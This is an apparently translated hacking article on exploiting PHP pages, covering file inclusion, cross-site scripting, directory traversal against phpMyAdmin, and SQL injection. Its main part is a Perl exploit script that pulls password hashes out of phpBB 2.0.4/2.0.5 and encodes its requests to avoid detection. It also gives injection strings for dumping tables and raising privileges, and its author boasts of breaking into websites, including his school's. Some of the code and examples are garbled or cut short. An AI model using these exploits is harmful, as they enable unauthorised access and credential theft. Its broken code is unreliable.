php page vulnerability analysis and related problem solving

From the current network security point of view, the WEB page vulnerability that everyone is most concerned about and exposed to the most should be ASP. In this regard, Xiaozhu is an expert, and I have no say. However, in terms of PHP, there are also serious security issues, but there are not many articles in this area. Here, let’s briefly discuss the related vulnerabilities of PHP pages.

I have made a summary of the current common PHP vulnerabilities, which are roughly divided into the following categories: including file vulnerabilities, script command execution vulnerabilities, file leak vulnerabilities, SQL injection vulnerabilities, etc. Of course, as for some common technologies such as COOKIE spoofing, we will not discuss them here. There is a lot of information on this online. So, let’s analyze how to exploit these vulnerabilities one by one!

First, let’s discuss the included file vulnerability. This vulnerability should be said to be unique to PHP. This is due to insufficient handling of externally provided malicious data, which allows remote attackers to exploit these vulnerabilities to execute arbitrary commands on the system with WEB process privileges. Let's look at an example: Suppose there is such a code in a.php:

The following is a reference fragment:

include($include."/xxx.php");

In this code, $include is generally a path that has been set, but we can achieve the purpose of attack by constructing a path ourselves. For example, let's submit: a.php?include=

Next, let's take a look at the script command execution vulnerability. This is due to the lack of sufficient filtering of URI parameters submitted by users. Submitting data containing malicious HTML code can trigger cross-site scripting attacks and may obtain sensitive information of target users. Let us also give an example: the index.php page in PHP Transparent PHP PHP 4.3.1 or below lacks sufficient filtering of PHPSESSID. We can achieve the purpose of attack through such code

And then , let’s take a look at the file leak vulnerability. This vulnerability is due to the lack of sufficient filtering of user submitted parameters. Remote attackers can use it to conduct directory traversal attacks and obtain some sensitive information. Let’s take the recently discovered phpMyAdmin as an example. In phpMyAdmin, the export.php page does not fully filter the 'what' parameter submitted by the user. By submitting data containing multiple '../' characters, a remote attacker can bypass the WEB ROOT restriction and view the system with WEB permissions. Any file information on. For example, entering such an address: export.php?what=../../../../../../etc/passwd00 can achieve the purpose of file leakage. There are relatively many in this area, including: myPHPNuke, McNews, etc.

Finally, we are back to the most exciting place. Think about how fun it is to use SQL injection in asp pages. In the past, we had to manually inject it. Until Xiaozhu figured out the "SQL injection secret book" (hehe), and then developed NBSI, our NB Alliance is really amazing. A piece of sky. He has helped find loopholes in large websites such as CSDN, Monopoly Forum, and China Channel. (I won’t say much more about these nonsense, it’s a bit off topic...).

It’s still true, in fact, SQL injection in asp is roughly the same as SQL injection in php, just pay a little attention to the few functions used. Change asc to ASCII, len to LENGTH, and other functions remain basically unchanged. In fact, when everyone sees SQL injection in PHP, do they all think of PHP-NUKE and PHPBB? Yes, as the saying goes, a tree can score big points. Forums like Dongwang should be the king of vulnerabilities in the ASP world. This does not mean that Its forum security is too poor, but its reputation is too great. The more others use it, the more people research it, and the more security vulnerabilities are discovered.

The same goes for PHPBB. Nowadays, if a large number of people use PHP for forums, they usually choose PHPBB. Its vulnerabilities have been emerging, from the earliest vulnerability discovered in the phpBB 1.4.0 version to the groupcp.php in the latest phpBB 2.0.6 version, as well as the previously discovered search.php, profile.php, viewtopic.php If you add it all up, there will probably be about a dozen of them. This has always led to some people using it as an experimental product when studying PHP vulnerabilities. As the saying goes, you can become perfect with practice. I believe PHPBB will get better and better in the future.

Okay, let’s analyze the reasons for the vulnerability. Take the viewtopic.php page as an example. When calling viewtopic.php, the "topic_id" is obtained directly from the GET request and passed to the SQL query command without any filtering. The attacker can submit a special SQL string. Used to obtain the MD5 password. Obtaining this password information can be used for automatic login or brute force cracking. (I think no one would want to brute force it, unless there is a particularly important reason). Let’s take a look at the relevant source code first:

The following is a reference fragment:

#

if(isset($HTTP_GET_VARS[POST_TOPIC_URL]))

#

　{

#

　$topic_id=intval($HTTP_GET_VARS[POST_TOPIC_URL]);

#

　}

#

elseif(isset($HTTP_GET_VARS['topic']))

#

{

#

$topic_id=intval($HTTP_GET_VARS['topic']);

#

}

From the above we can see that if the submitted view=newest and sid is set to a value, the executed query code looks like the following (if you haven’t seen the PHPBB source code, I suggest you read it and then come here Look, the affected systems are: phpBB 2.0.5 and phpBB 2.0.4).

The following is a quotation fragment:

#

$sql = "SELECT p.post_id

#

FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u

#

WHERE s.session_id = '$session_id'

#

AND u.user_id = s.session_user_id

#

AND p.topic_id = $topic_id

#

AND p.post_time = u.user_lastvisit

#

ORDER BY p.post_time ASC

#

LIMIT 1";

Rick provided the following test code:

use IO::Socket;

$remote = shift || 'localhost';

$view_topic = shift || '/phpBB2/viewtopic.php';

$uid = shift || 2;

$port = 80;

$dBType = 'mysql4';

# mysql4 or pgsql

print "Trying to get password hash for uid $uid server $remote dbtype: $dBType " ;

$p = "";

for($index=1; $index=32; $index )

{

$socket = IO::Socket::INET-new(PeerAddr = $remote,

PeerPort = $port,

Proto = "tcp",

Type = SOCK_STREAM)

or die "Couldnt connect to $remote: $port: $@ ";

$str = "GET $view_topic" . "?sid=1topic_id= -1" . Random_encode(make_dbsql()) . "view=newest" . " HTTP/1.0 ";

print $socket $str;

print $socket "Cookie: phpBB2mysql_sid =1 ";

# replace this for pgsql or remove it

print $socket "Host: $remote ";

while ($answer = $socket )

{

if ($answer =~ /location：.*x23(d )/)　# Matches the location： viewtopic.php?p=#

{

$p .= chr ();

}

p>}

close($socket);

}

print " MD5 Hash for uid $uid is $p ";

# random encode str. helps avoid detection

sub random_encode

{

$str = shift;

$ret = "" ;

for($i=0; $i

{

$c = substr($str, $i, 1);

$j = rand length($str) * 1000;

if (int($j) 2 || $c eq ' ')

{

$ret .= "" . sprintf("x",ord($c));

}

#p#subtitle#e#

else

{

$ret .= $c;

}

}

return $ret ;

}

sub make_dbsql

{

if ($dBType eq 'mysql4')

{

return " union select ord(substring(user_password, " . $index . ", 1)) from phpbb_users where user_id=$uid/*" ;

} elsif ($dBType eq 'pgsql')

{

return "; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p，phpbb_users u where u.user_id=$ uid or false";

}

else

{

return "";

}

}

I won’t explain much about this code. Its function is to obtain the HASH value.

Seeing this, you may have some questions, why did I Why are the modified functions not used? I won’t be afraid of making fun of you if I tell you: In fact, the query statements on some pages of many websites on the Internet will look like this:

display.php?sqlsave=select * from aaa where xx=yy order by bbb desc

Don’t laugh, this is true. I have also entered several large websites through this. As for which ones, it’s hard to say, but our school’s website, I This is how you get into the backend. Use the previous function. Otherwise, you have to change someone else's password!!!

I almost forgot that when it comes to SQL injection, there are differences between PHP and ASP. Differently, mysql is not as flexible as mssql in using sql statements. Therefore, many query statements that can be used in mssql will not work in mysql. Generally, our common injection statements are like this: aaa.php?id=a' into outfile 'pass.txt or aaa.php?id=a' into outfile 'pass.txt' /*You can further change it to: aaa.php?id=a' o

r 1=1 union select id, name, password form users into outfile 'c:/a.txt

This way the database data can be exported to a file, which can then be viewed.

or This is it: mode=', user_level='4

This statement is generally used when modifying data. If there is a vulnerability in the page, it can achieve the effect of elevating permissions.

Others For example, 'OR 1=1 -- or: 1' or 1='1 is similar to asp. I won't go into more details here. In PHP, SQL injection seems to be the number one vulnerability. There are too many pages with this. There is a problem.

In fact, you can see that there is only one reason for the above classifications: the submitted parameters are not filtered or the filtering is not rigorous enough.

#p#subtitle#e#